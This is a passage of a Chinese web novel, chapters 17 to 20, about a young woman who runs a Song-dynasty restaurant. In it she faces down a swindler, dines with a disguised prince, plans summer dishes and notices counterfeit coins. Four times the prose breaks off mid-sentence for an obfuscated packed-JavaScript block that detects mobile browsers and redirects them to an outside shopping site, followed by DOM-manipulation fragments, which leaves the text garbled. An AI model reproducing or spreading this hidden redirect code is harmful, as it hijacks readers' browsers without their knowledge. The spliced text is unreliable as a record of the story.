赵大头一脚踹翻条凳，“掌柜的！昨儿在你家买的卤鸭翅，害得老子窜了一宿稀！” 他从怀里掏出个油纸包拍在桌上，几只绿头苍蝇立刻嗡嗡围上来。 沈芙蕖扫了眼纸包，那鸭翅明显被鼠啃过，也明显不是芙蓉盏卖出去的东西。 沈芙蕖说：“这位大哥，消消气，先喝杯菊花茶，有话慢慢说。” “少来这套！”赵大头一把掀翻茶盏，茶汤全部泼在地上。“今日不赔十两银子，老子砸了你这黑店！”他抡起条凳往柜台砸去，惊得堂客们四散。 阿虞突然拉着沈芙蕖说：“姐姐，我想起来了，我们前些天招不到堂倌和杂役，也有他的一份功劳，他逢人便说我们店晦气，还说我们店里不干净！” 张澈扯着嗓子说：“你血口喷人！每天这么多人吃我们家卤鸭翅都没事，怎么就你有事？你屁股比别人金贵啊？我看就是记恨前事，故意寻事滋事！” 大双和小双一身腱子肉，一人拿瓢，一人拿铲慢慢围了过来，大双将那葫芦瓢往赵大头硕大的脑门上猛地一盖：“就你叫赵大头是吧，天天欺负我兄弟，还敢闹到店里撒野？” 赵大头被葫芦瓢扣得眼前发黑，踉跄退了两步，腰间却撞上小双的锅铲。 “你们来看看啊！这是什么黑店，我吃了他们家鸭货吃坏了肚子，前来讨个说法，他们还要打人，这还有王法吗？这是黑店啊！”赵大头扯着嗓子嚎叫。 沈芙蕖慢慢悠悠走过来，把算盘往桌上重重一敲：“大家也别走！既然这样，我们就来掰扯掰扯。赵大头，你说你这鸭翅是从我芙蓉盏所买，那好，我问你，什么时候买的，买了多少，花了多少文钱？” 原本散开的食客又聚拢过来，个个伸长脖子。谁不知赵大头是草市坊出了名的讹人精？此刻都等着看沈娘子如何整治这泼皮。 赵大头一愣，随即回答：“是……昨个申时买的，一共买了十只，八十文。” 沈芙蕖笑出声来：“各位，常来我们芙蓉盏的都知道，我们家鸭货最抢手，不到晌午就卖完了，怎会留到申时？” 立刻有人站出来作证：“我们从午时就开始排队，不到一个时辰就抢不到了！还申时，连鸭屁股都不给你留！” 赵大头说：“那我怎么知道，那鸭翅是我婆娘买的，我不知道准确时间，也没什么问题吧。” 提起赵大头的婆娘，众人又是一阵摇头，跟了赵大头这样的泼皮无赖，三天两头在药铺赊跌打损伤的药钱。 沈芙蕖冷笑一声，唤阿虞端来一盆清水，又亲手从今日的卤缸里捞出来一支鸭翅，将赵大头带来的鸭翅拿来作比较。 众人瞧得真切，左边的鸭翅足有巴掌长，右边的短了寸余。 “你们瞧好了，左手边是我们家的卤鸭翅，个头大，这是赵大头带来的，个头小了很多。我芙蓉盏用的鸭，都是八个月以上的肥鸭，个头差不多大。你这是从哪里买来的便宜货？” 赵大头反驳道：“沈掌柜这话说得挺有意思的，那鸭子又不是照着模子长的，哪能一模一样大？大小不一有何稀奇，这未免也太牵强了吧。” 沈芙蕖又将两只鸭翅分别从中间撕开，放在清水里浸泡许久， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099602|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待拿出来后，众人瞧出来了端倪。原来，芙蓉盏的鸭肉依旧酱色深沉，另一只却已褪成肤白。两者刚在一起，对比非常明显。 沈芙蕖说：“这色差缘由，我来说与诸位听。我们家的卤鸭货，会放三斤豆豉和一斤酱油上色添味，又经过六个时辰的文火炖煮和卤泡，才形成这样的酱色。你买的这个，舍不得搁酱油，所以才不上色。懂了吗？” 有个总角小儿钻过人群，指着赵大头咯咯直笑：“羞羞羞！骗人烂舌头！”被他娘慌忙拽回去时，还冲赵大头做了个鬼脸。 “赵大头！你前日讹诈李记布庄未果，今日又来这里生事？一天闹一场，你不嫌丢人，我还嫌丢人呢！”另外一人说。 沈芙蕖本来不想与他所作纠缠，可谁让她今日心情不好呢，她说：“阿虞，你去街上瞧瞧衙役有没有走远，把这讹人的泼皮无赖抓进牢里关上几天，看他还老不老实！” 赵大头听了，牢里？他才出来没多久，可不能再回去了，他也不害臊，说：“许是我记错了，不是在你家买的，至于吗就报官？我走就是了！” “还不快滚！”沈芙蕖没好气道。 赵大头跟脚底抹油般立刻走了。大双和小双连连摇头：“就这么放他走，真是便宜他了！” “算了算了，谅他最近也不敢来闹事了，你们都散了，干活去。” 沈芙蕖无奈摇摇头，她今天累得很，把算盘重新摆好，一只栀子灯递到她跟前。 她一抬头，看见赵清晏笑眼盈盈望着他，手里提着个栀子灯。栀子灯乃是汴京特产，用细竹篾编作六角宫灯状，灯骨间留出菱花空窗，内悬铜丝网兜，盛着数十朵含苞栀子，香得能引来迷路的萤火虫。 “沈娘子！我可算找到你的店了！送你的。”赵清晏笑着说。 沈芙蕖懵懵地从他手中接过花灯，淡淡一笑，哪有女孩子不喜欢鲜花的，自己也不例外。“多谢多谢，我很喜欢。” “沈娘子先别谢嘛，你上次说要请我用膳呢，这就抵作饭钱吧。我可找了一大圈呢，还问了人，莫不是你不想请客，吓得连夜把招牌都换了吧？”赵清晏眨眨眼道。 原来她随口一句话，他真的记到现在。 沈芙蕖笑着说：“托你的福，从大理寺回来以后，就开了这家食肆，生意倒是不错。今日你来的正好，还有一些鸭货没卖完。” 赵清晏顺势坐下，认真打量这间食肆，装饰古朴优雅大方，很有人间烟火气。 程虞好奇地问：“你是哪家的官人，怎么出门没配个小厮？” 沈芙蕖介绍道：“这位是赵官人，大理寺认识的。” “春宴一别后，我可真是想念沈娘子的手艺，今天好不容易得空寻来，不花钱还看了一出好戏呢。”赵清晏说。 沈芙蕖笑了笑：“让你见笑了，开门做生意，难免会碰上这些泼皮无赖，赶又赶不走，又不能真的动粗，只能这样了。” “你一个小娘子，好厉害。” 18. 第十八章 “店里有什么吃的？”赵清晏看了看水牌。 沈芙蕖觉得赵清晏的气质不一般，家世应该更不一般，一碗面食，恐怕入不了他的眼，于是决定去后厨再添几个菜。 赵清晏也跟了进来，见沈芙蕖揭开水缸木盖，拎出来一尾尺余长的鳜鱼。她并指如刀在鱼鳃后三寸一掐，那鱼便僵了身子，刀刃自尾逆鳞而上，刮得“沙沙”作响如春蚕食叶。待收拾停当，垫上姜片葱段，送入蒸笼的动作行云流水。 赵清晏不觉看得出神，他特别喜欢沈芙蕖做菜的样子，特别有条理。那菜刀在她手中竟似活物，起落间银光如练。他忍不住问道：“沈娘子这手艺从哪里学的？” 沈芙蕖想到上一世，自己刚上初中父母就离异了，自己被判给母亲，母亲工作忙，没什么时间照顾她，所以那时候就开始教自己做饭了，后来她就跟着食谱学，渐渐开了窍。后来上了大学，母亲意外离世，沈芙蕖就一边兼职美食博主一边上学。要说谁教的，那应该是母亲。 沈芙蕖选了肥三瘦七的肘子，将腊肉快刀片作蝉翼薄。“是我娘，不过她已经不在了。”她轻轻说。 赵清晏垂眸：“我娘也早就不在了。” 铁锅烧至青烟刚起时，沈芙蕖将腊肉倒入锅内，肉片很快蜷成金盏状。此时倒入梅子酱，琥珀色的浓汁裹着肉片，沈芙蕖再放入大蒜，快速翻炒着。 沈芙蕖转身，示意赵清晏把那剥开的菰笋递来。她随口问道：“你娘是什么样的呢？” “我娘很温柔，很漂亮……”赵清晏将一盆菰笋全部递了过来，沈芙蕖从中挑了三颗。 “这世间的母亲，大抵都是这样的。”沈芙蕖的母亲也是，一个温柔大气的女人。 沈芙蕖突然想到，赵清晏的娘，岂不就是陆却的姨妈？沈芙蕖将菰笋切丝，在锅里放几粒花椒，炒出香味后开始加入菰笋，菰笋丝在热油中翻飞，沈芙蕖手腕轻抖，锅铲刮过铁锅发出清越的声响。 “说起来，你和陆却还是表亲呢，可这性子真是天差地别。他呀，整天一板一眼，很无趣！”沈芙蕖说。 赵清晏笑道：“沈娘子咱俩可真是英雄所见略同，说这话说到我心坎里去了！陆却……表哥这个人，小时候还挺好玩的，长大了就像换了个壳似的。上次我来大理寺邀他去樊楼改善口味，他也推了。” “陆大人眼里只有案子，下回你便说樊楼藏着命案卷宗，保准他跑得比驿马还快。” 沈芙蕖将做的三道菜端了出来，放在院子里的石桌上，鱼身缀着青葱的鳜鱼、油亮的腊肉、翡翠般的菰笋丝，虽然家常，但也可口。 沈芙蕖随口招呼道：“今日不知道你要来，不然就该留些羊肉。” 赵清晏也不客气，风风火火从前堂端了两碗面，若干卤菜和小菜，将石凳摆得满满的。 赵清晏一顿狼吞虎咽。“这麻辣面片可真好吃！我就爱吃这麻麻辣辣的感觉，平日在府……家里，夫子总教导，要清心寡欲，食淡方能明志。烦都烦死了！” 沈芙蕖瞧赵清晏年纪不大，猜想他也是整日在家苦读盼着考个功名什么的，便说：“你若觉得好吃，那就天天来，我单独给你开小灶。” “我倒是想天天来呀，沈娘子，我今天可是偷跑出来的。”赵清晏眨眨眼，狡黠笑着。 恰逢月中，正是父皇驾临中宫的日子。凤仪殿里要熏龙涎香，母后忙着梳妆更衣，连尚食局送来的膳单都要亲自过目。那些教习嬷嬷、讲读学士，此刻都盯着皇后娘娘的赏赐，谁还顾得上查问太子的功课。 赵清晏偷瞄了眼巷口的更漏，戌时的梆子还没响。他放肆地卷起袖子，将卤鸭翅啃得啧啧有声。这般粗鄙吃相，若让詹事府的人瞧见，怕是要吓得晕死过去。 可他不敢多停留，若是在这待久了，也许有一天那帮内侍会来找沈芙蕖的麻烦。 赵清晏满足地擦擦嘴，巷口适时传来梆子声，他知道这是东宫在寻人了。 “今日这顿，值得上樊楼三席酒宴。”赵清晏从袖中排出一枚金铤，见沈芙蕖要推拒，已然将那金铤按进桌缝：“我……下个月十五还来。沈娘子别忘记备下羊肉！” 沈芙蕖此刻却有私事相求，周寺正的话确实给她带来了不小的打击，她很想再见一面陆却，打听打听到底发生了何事。若是能通过赵清晏见上一见，那当然是最好的…… 只是眼下两人只见过两面，沈芙蕖不好相求，只等合适的时机。 送走了赵清晏，阿虞将金铤拾起，赞叹道：“要是我们所有客人都像赵官人一样阔气就好了！沈姐姐，这可是一枚金铤唉！” 沈芙蕖弹了弹她的头：“等我们的芙蓉盏做大做强，还怕收不到金铤吗？” 等结束了一天的忙碌，大双小双累得眼冒金星，揉着酸疼的腰背，正准备回去用艾草洗个痛快澡，却听沈芙蕖说要留他们商议事情。 沈芙蕖说：“你们有没有觉得，这几日的客人少了些？” 大双立刻道：“哎呦我的沈掌柜啊，咱店里客人还少吗？整条街就数芙蓉盏人最多了，别的店铺每天都眼巴巴羡慕我们食客如云呢！” 沈芙蕖摇头：“你们每天的活是不少，从早到晚脚不沾地，但是账可是我每天在算的，咱们这些天的利润，可一直在下滑。所以要找找原因了。” 一直不做声的张澈开口道：“掌柜的说的没错，其实我也有这种感觉，我倒觉得……这和天气相关。” 沈芙蕖挑眉，示意他接着说。 “我注意到麻辣面片、红烧羊肉和卤鸭货的销量减少了，但这三样都是占利润大头的。食客们反而愿意选择爽口的浇头，配上冰饮。这说明暑气熏蒸的时节，食客们见了红油便皱眉。” 沈芙蕖点头：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099603|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是这个意思，天有四时，食亦当随节令而转，所以我们芙蓉盏不能一尘不变，冬日里红油翻滚是暖身，这盛夏时节该是泡脆藕的时候了。” 阿虞却说：“沈姐姐，那这样你会很累的，本来就很辛苦了……”她瞥见沈芙蕖眼下淡青，想起昨夜三更还见她房里亮着灯影。 “待我们理出春弦夏诵、秋炙冬煨的章程，往后只需微调便是，难的只是当下。”沈芙蕖揉了揉太阳穴，给大家下达了命令：“今夜诸位各拟一样时令浇头、一道消暑饮子。明天还是这个时间，我们碰头。” 第二天，四人都交上了自己的方子。大双写的是酸菜肉丝浇头、酸酪兑杨梅。小双写的是凉拌三丝浇头（菰笋、黄瓜、绿豆芽）、酸梅汤。张澈则是干笋烧肉、青梅酒。阿虞则写的三鲜浇头（鸡蛋皮、鹌鹑蛋、鸡丝）与桃胶酿莲子。 “掌柜的，我敢保证，这酸菜肉丝一定受欢迎！酸菜多解腻啊！从前我和小双在铁匠铺打铁，热得根本用不下饭，当时我就想，若是来口酸菜，配上一碗粥该多好啊。酸酪杨梅不用我说了吧，现在正是杨梅成熟季节！”大双拍着胸膛保证。 小双解释：“这大日头，谁不想来点爽口的？三丝浇头就最好，清清爽爽的，一定卖得好！我和大双想一起去了，杨梅一定要用起来。” “笋干烧肉既有肉的鲜美，又不像红烧羊肉那般腻，很适合这个时候吃。夏日再酌上几口小酒，那是最美不过，只可惜咱这是脚店，还得去正店买酒。”张澈道。 阿虞不甘示弱：“三鲜浇头可鲜了，沈姐姐之前做过，我可是吃了两大碗呢！我们芙蓉盏来的小娘子也不少，桃胶美容养颜，大家一定喜欢。” 沈芙蕖听了，笑得合不拢嘴，果然是三个臭皮匠胜于诸葛亮。她说：“你们说的很好，这些都可以，但是我们每天做不了这么多浇头，不如按照一三五、二四六排开可好？” 众人纷纷赞同。 沈芙蕖端上来一碗晶莹剔透的面来，笑吟吟道：“你们尝尝，这是我做的凉皮，比冷淘还好吃。” 此时汴京流行的是槐叶冷淘，面团里加槐叶汁，擀制好切成韭叶宽，煮开后过凉，放些熟油和料汁拌一拌，口感并不算太好。 沈芙蕖做的凉皮相较之下，口感更加爽滑。将面团放进冷水里不断搓洗，得到细腻面浆和面筋，放置一边静置半个时辰，将表面的清水倒去后，剩下面酱放进盘内摇匀，放在热水上加热，面浆慢慢变得透明，逐渐冒泡，这个时候就可以揭下来了。 做好以后，将几张凉皮放在在一起，切成宽条，加入黄瓜丝、绿豆芽、蒜水、酱油、香醋、芝麻酱等调味。 大双和小双一人尝了一筷子。胡瓜的脆、面筋的韧、蒜水的辛在舌尖炸开，最后被冰凉的粉皮一裹，竟比三伏天跳进金明池还痛快。“娘咧！真好吃！”大双鼓着腮帮子嚎了一嗓子。 19. 第十九章 听说芙蓉盏新推出了凉皮，引得食客纷至沓来，那冰镇过的凉皮滑如绸缎，配着酸梅饮子，人人都赞爽若嚼冰。 店里生意越来越好，可沈芙蕖却越来越沉默，连客人夸赞时，她也只是勉强牵动嘴角，那笑意还未到眼底，就消散了。 阿虞起先以为是累得，只是劝她休息几日，店里还有他们几个。沈芙蕖也确实依言休息了几日，但回来之后眼底却更添淡青，阿虞暗自焦急，却又问不出个所以然来，和大双小双、张澈商议起来。 大双挠着头嘟囔道：“掌柜的莫不是想家？” 阿虞瞪了他一眼：“胡说！沈姐姐爹娘死得早，想什么呢？” 张澈说：“大双说的未必无道理。掌柜的说起来也就十七的年纪，也许是最近劳累过度，想念去世的亲人也有可能。” 然而沈芙蕖烦恼的并不是这件事，那日她上街买菜，正为着几文钱的让利争得面红耳赤，末了，还听着人家评价一句“锱铢必较”。 她心里明白，在这些菜贩眼中，自己绝非什么好相与的主顾。既非出手阔绰的豪客，又事事较真，练就了一双能识破缺斤短两的利眼。若起了争执，那伶牙俐齿的劲头，便是最泼辣的商贩也要退避三舍。 这都没什么，小本生意，本就薄利多销，不在成本上节约一些，她如何养得起帮佣，交得起房租？厉害已经成了她的保护色。可偏偏那日她又看见了她那嫂嫂。 赵氏穿着一身茜色衣裙，头上斜插几只点翠簪，唇上一抹茜色，倒也有几分风情。 赵氏无比擅长的事情就是打扮自己，今个要买最时兴的绢花，明个要穿宫里娘娘们爱穿的花样，沈芙蕖原身年幼时，不知被她花言巧语骗走多少首饰，那可都是原身娘亲留下的遗物。 等原身长大一些，样貌初显，赵氏又觉得她长得扎眼，心生妒忌，怎么丑怎么打扮，又不断贬低她的容貌，用“塌肩缩背才显贞静”的鬼话，硬生生折了她的脊梁。原身明明生得如此漂亮，却走到哪里都驼背弯腰，恨不得别人都看不见她。 沈芙蕖挺直了曾被赵氏贬斥的腰背，目不斜视望着赵氏，看她从软轿里施施然走出来，替她的女儿买一只兔儿爷。 她手腕上一对金钏晃动着，沈芙蕖和那摊主一样，眼睛也跟着金钏移动。 沈芙蕖突然间觉得好累，凭什么盗取别人人生的人，反倒能活得如此理直气壮？ 沈芙蕖便带着这样的念头朝着大理寺走去。她借口有东西落在膳房，无一人拦她，大理寺谁不知道她沈芙蕖呢？她为大理寺争了多大的面子。 大理寺和往常一样井然有序，东侧廨舍早已人声鼎沸，录事们抱着成捆的竹简在廊下小跑，卷宗上的火漆印不时蹭落朱砂，在地上溅出星点血痕似的红。 走至正堂前院，仵作们正用井水冲洗验尸的工具，铜盆里的水换了三遍仍泛着淡红。忽然一阵铜锣响，押解的差役拖着铁链进来，那死囚的赤足在砖面磨出两道暗痕，沈芙蕖不敢去看。 每个人见到她，也没有太多意外的表情，都只是恭恭敬敬喊上一声“沈娘子”，随后又沉浸在自己的世界里。 沈芙蕖想，自己很像一颗石子，在大理寺荡起了一阵涟漪，然后水面再归于平静。 她没遇见陆却。只好绕去了膳房，好像那儿才是真正属于她的一方天地。王疱长见到她很高兴，非要给她做自己的拿手好菜，哑姑也高兴得比划着。这个时候，沈芙蕖才找到一点真正的快乐。 “沈娘子是来找陆大人的？”在一旁一直沉默不语的老郑头突然问道。 被这么轻易戳穿了，沈芙蕖反而有些难为情，掩饰道：“不是。不过是来看看大家。” 她不喜欢她和陆却的阶级差异，其实在哪个朝代都是这样，若非她在大理寺主办过一场春宴，她连进来都得递上层层文书。她不想假借于他人，可又必须要遵从这里的规则，可难道她还要像上次一样，在磅礴大雨里跪上一夜，换取他的一点可怜同情？ 王疱长不管这些，他的注意力还在如何让油条更加松软酥脆些，其实这些也不重要，无论是炸得老还是炸得嫩，陆却都会把它完整吃掉。 王疱长只是突然找到了自己努力的方向和存在的意义，这是他从未有过的感受。 “你要用碱水溲面，这样油条才会松软。第一遍先炸定型，第二遍让油温升高，快炸逼油。”沈芙蕖从不吝啬传授这些技巧，王疱长学得认真，她教得也仔细。 哑姑在一旁剥着青豆米，认真“听”着沈芙蕖他们说话，仿佛自己也在学着。 快到午膳时间，老郑头已经开始生火，哑姑也备好了菜，沈芙蕖就没理由继续赖在这里了。 老郑头忽然又说：“你可以去你那间屋子瞧瞧，你走后，一直保持原样，陆大人没让动呢。” 沈芙蕖一怔，心道，难道这春宴以后年年都办，莫非留着等我明年春宴再来呢？到时候她可不一定答应，除非周寺正拿更多的钱砸她。 她又惆怅往自己住过那屋走去，可没走几步，一抹紫袍出现在她眼里。陆却身量修颀如松，立在那儿，影子都比旁人长三分。眉骨生得极高，投下的阴影恰好遮住眼窝，倒显得那双眼格外深邃。 “你站在那儿做什么？”陆却淡淡问道。 沈芙蕖拿出早就想好的理由：“我丢了东西，我娘的遗物。”她强调。 陆却微微点头，继续道：“跟我来。” 那是通往陆却值房的路，沈芙蕖虽然不解，依然紧跟了上去。 那根银簪就夹在《刑统》里，陆却很快找到了它，将它递给沈芙蕖。 沈芙蕖是拿它作借口，可没想到真找到了，她实在想不起簪子丢哪了。“多谢大人，家母留给我的遗物并不多，这支簪子对我而言意义非凡。” 沈芙蕖想，此刻也许再编织一个精巧的谎言，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099604|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能撬动眼前这僵局。 “大人还枕着《刑统》入眠吗？”沈芙蕖道。 陆却皱眉，他很不喜欢沈芙蕖说的这句话，有三分暧昧，七分试探，更有几分自以为是的了解。 沈芙蕖却微微一笑，自顾自道：“我最近在看《三十六计》，这第一计便是瞒天过海。唐太宗征高丽时，将士们怕他畏惧渡海，便设计用帷幕围住船只，让唐太宗以为仍在陆地，实则已航行海上。继而联想到唐朝奸相李林甫对皇帝阿谀奉承，对下属严苛打压，使朝廷上下信息闭塞，酿成安史之乱。” 陆却一开始只当她在自己面前卖弄学识，好证明自己是个饱读诗书的姑娘。可听到后面，终究听出了点不对劲的意思，她大约话里有话。 “对上欺骗，对下隐瞒，导致祸患。就像大人今日如果没有主动告知这支簪子的下落，我是断不能寻到这里的。也许表达得不到位，但就是这么个意思。民女在此，再次感谢大人了。” 陆却直接问道：“你想说什么？” “不过是看见这满屋的书，随口说一些自己的感悟罢了，倒是在大人面前班门弄斧了。告辞。”沈芙蕖说。 沈芙蕖坚信，疑心会像一颗种子，只要埋好它，就一定会生根发芽，慢慢长成参天大树。 沈芙蕖从大理寺出来时，正好碰上了她此时最不想碰见的人，周寺正。 周寺正牵着头毛驴缓缓走来，旁边还站着前来探望哥哥的陆惠善，见到沈芙蕖，带着些防备道：“沈娘子此番来大理寺是？” 沈芙蕖将手心一展，露出支簪子，说道：“先前将我娘的遗物丢在大理寺了，这会儿得空来寻呢。” 周寺正见无关案子之事，便松了一口气，又想沈芙蕖这丫头精明得很，总不至于背后捅刀子。 惠善却眼尖，这银簪子，不是那天哥放在手心里摩挲的那支？这银簪的款式花样，她记得真真的！ 她又再一次打量起沈芙蕖来，眉如剑锋却含秋水，这一张脸着实是英气与妩媚浑然天成，浑身透着野蔷薇般的锐气，确实和那些世家娘子们不一样。 第三次见面了，沈芙蕖依然搞不清陆惠善的身份，只知道她与陆却甚是亲密，周寺正对她极客气，可以和周寺正一起上街，也可以在大理寺来去自由。 沈芙蕖回到芙蓉盏，略恢复了些精气神，张澈给她倒了杯蜜水，说起今日食客闲聊的见闻。 张澈说：“掌柜的，今日有位食客说了桩奇事，他说原先汴河浮尸案的查案方向完全是错的，什么南尸北运，根本就是大错特错，无稽之谈。说是尸体腐得那样快，皆因死时周遭酷热难当。他说的有鼻子有眼的，赌咒发誓，说什么自己的亲叔父，是个姓李仵作，酒酣耳热时吐露的实情。” 沈芙蕖听了，那人描述得绘声绘色，尸斑分布、腐坏程度，甚至提到某种特殊蛆虫的孳生周期，这般详尽的说法，倒不似寻常醉汉能编造的。 20. 第二十章 话说沈芙蕖走了以后，陆却在值房里坐了许久，连周寺正和陆惠善什么时候进来都没察觉。 周寺正行了礼，照例事无巨细汇报了大理寺的众多事务，他翻开卷宗，一项一项说明：“城南命案已查明死者身份查清楚了，系汴京富商王员外之子，尸体验出砒霜之毒，那涉事妓子已自首，道是因情生恨，倒是桩俗套的风月债。” 他翻过一页，继续说：“城北发现三具无名尸首，仵作验出皆是被细绳勒毙，手法老练。不过，前段时间有个地主报官说自己府上少了三个护卫，下官已经让人前去核对身份了。” 他抬眼看向陆却，见对方神色未变，继续道：“这两件案子倒是不难，不出半月应该就能破案了。” “大人，太子殿下近日来大理寺寻了您两次，下官都按照您的说法让他回去了，听说见不到您，殿下又转道去城南逛了逛。”周寺正说。 “嗯。殿下的行踪由东宫十率府负责，不必说与我听。”陆却点头，在陆却眼里，这都是些小案子，没有什么挑战性，他神色一凛，问道：“近月来私铸铜钱案骤增，其中不少成色极佳，几可乱真。周卿可有所耳闻？” 陆却素来厌恶旁人插手他的公务，即便是最亲近的胞妹也不例外。因此惠善向来谨守分寸，鲜少涉足大理寺地界。然而今日，她却破例前来，掌心托着一枚铜钱。不，准确说来，是一枚几可乱真的赝币。 惠善说，那日她陪陆夫人去开宝寺塔焚香礼佛，无意间发现炉边一枚铜币，在烟雾中渐渐蒙上一层白霜，惠善好奇用手绢包了回来，再用银簪轻刮其表面，发现白霜下露出灰黑色基体，而刮痕处散发淡淡蒜味。 惠善心思缜密，突然忆起侍女闲谈时曾提及市集上偶遇赝币之事。她眸光微动，当即理清其中关窍，片刻不敢耽搁，便将此事原原本本禀与兄长知晓。 周寺正犹豫道：“下官……的确也听过风声。只是不知道这假铜板是从哪里流入汴京，按理来说，当由开封府先行勘验，再报提点刑狱司覆核，若涉案未达五百贯之数，还轮不到大理寺过问。” 陆却淡淡道：“周卿的意思是，此案尚不够格入我大理寺的案牍，是么？” 周寺正不敢再答，这一来一回说了几句话，浑身已经被冷汗湿透，他斟酌着开口：“下官这就安排人查。” “不必了。”陆却说。他从黑檀匣中取出对钱仪，这器具形如并蒂莲，左侧是固定官钱的卡槽，右侧为可旋转的圆盘，盘心嵌着枚标准“大观通宝”母钱，边缘刻三百六十度细密刻度。 周寺正也好奇地凑了上来，这对钱仪融合了铸钱匠、刑狱官的经验，再由陆却亲自打造，但具体怎么用，周寺正还不清楚。 陆却将手中一枚铜钱卡入左侧，官钱母版悬于右侧，让两枚钱币的“通”字恰好相对，转动圆盘使两钱“宝”字重合，盘沿刻度显示私钱直径比官制短半毫。 陆却将一真一假两枚铜钱放在一起，缓缓说道：“《条法事类》载，私钱不及官制九分者，绞。眼前这枚不仅短小，恐怕还混入禁用的倭铅，足够牵连出一条大鱼。” 周寺正连忙跪在地上叩首：“下官这就去查，一定查个水落石出。” 然而陆却似笑非笑：“本官既已说不必，周卿何苦要为难自己。万一这铜币后扯出来个你我都得罪不起的人物，周卿是报还是不报，向谁报呢？” 周寺正脸色难看至极，又拼命想从陆却的脸上看出来点什么，他把头埋在地上，重声道：“下官生是大理寺的人，死亦当大理寺的鬼，自当效忠于大理寺。” 陆却说：“是了，周卿的觉悟甚高。你不是我陆却的人，是大理寺的人。” 周寺正面如死灰，整个人俯在地上不起。 芙蓉盏第二次收到赝币了，两次钱都混在真钱里，可沈芙蕖每日都要碰钱算账，这一摸手感便不对。她用簪子蘸了胭脂点在钱孔边缘，朱色竟慢慢晕开，真钱的铜质细密不吸色，唯有掺了铅锡的劣钱才会这般吃红。 尽管沈芙蕖反复强调这和收钱的大双没有关系，可大双还是坚持要从自己的月钱里扣。 沈芙蕖把算盘摔得噼里啪啦响，做的是小本生意，怎么还收了赝币，这不是欺负人嘛！ 大双哭丧着脸道：“我在汴京城十几年了，也没见过这么真的赝品，都怪我，一忙起来就顾不上许多。” 沈芙蕖宽慰道：“也就五六枚铜板的事，你也别放在心上，往后注意些就是。” 阿虞好奇道：“连我和阿澈都辨别了许久，沈姐姐是怎么发现的呢？” 常年累月的记账生涯，让她对铜钱生出一种肌骨记忆。真钱该是沉甸甸的带着寒气，边缘被千万人的手摩挲得圆润，落在地上会发出清越的“铮”的一声。 沈芙蕖认真叮嘱大家：“才短短三天，咱们店里就收了五六枚赝币，可见如今赝币已经泛滥，你们都警惕些，若是发现有不对劲的人，一定要给我使个眼色。” 第二日晌午，芙蓉盏的生意正忙。一个身穿褐色短衫的汉子大步走进店里，腰间别着一个鼓鼓囊囊的钱袋。他选了个靠窗的位置坐下，粗声粗气地喊道：“来碗麻辣面片，再加一碟卤鸭货！要多点鸭胗，少一点鸭肝，脏气太重！” 大双热情地迎上去：“客官稍等，马上就来！”那汉子似乎对芙蓉盏的各类吃食价格都很熟悉，从钱袋里摸出十几枚铜钱，随手丢在桌上，大双顺手收了起来，粗略看了看没有问题后就塞进了钱匣。 沈芙蕖正在柜台后算账，听到铜钱落桌的声音，眉头微微一皱。她抬头瞥了一眼那汉子，见他眼神闪烁，时不时地往门外张望，似乎在等什么人。 她不动声色地走到大双身边，低声问道：“刚才那客人付的钱，你仔细看了吗？” 大双一愣，点了点头：“我看了，没什么问题啊。” 沈芙蕖没再多说，只是轻轻“嗯”了一声，转身回到柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099605|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台。她悄悄从钱匣里取出那几枚铜钱，指尖一捻，心里顿时了然，又是假的。 沈芙蕖没有当场揭穿，而是继续低头算账，偶尔抬眼观察那汉子的动静。那汉子吃得很快，一碗面片三两口就见了底，还要带走几个鸭腿。他抹了抹嘴，又摸出些许铜钱放在桌上，起身就要离开。 阿虞眼尖，立刻朝沈芙蕖使了个眼色。沈芙蕖微微点头，示意她别声张。 等那汉子走远，沈芙蕖立刻叫来张澈：“你悄悄跟上去，看看他去哪儿，别打草惊蛇。” 张澈点头，放下手中的活计，快步跟了出去。 大双这才反应过来，懊恼地拍了拍脑袋：“掌柜的，那钱是不是有问题？” 沈芙蕖将铜钱递给他：“你再拿枚真的，对照着看看。” 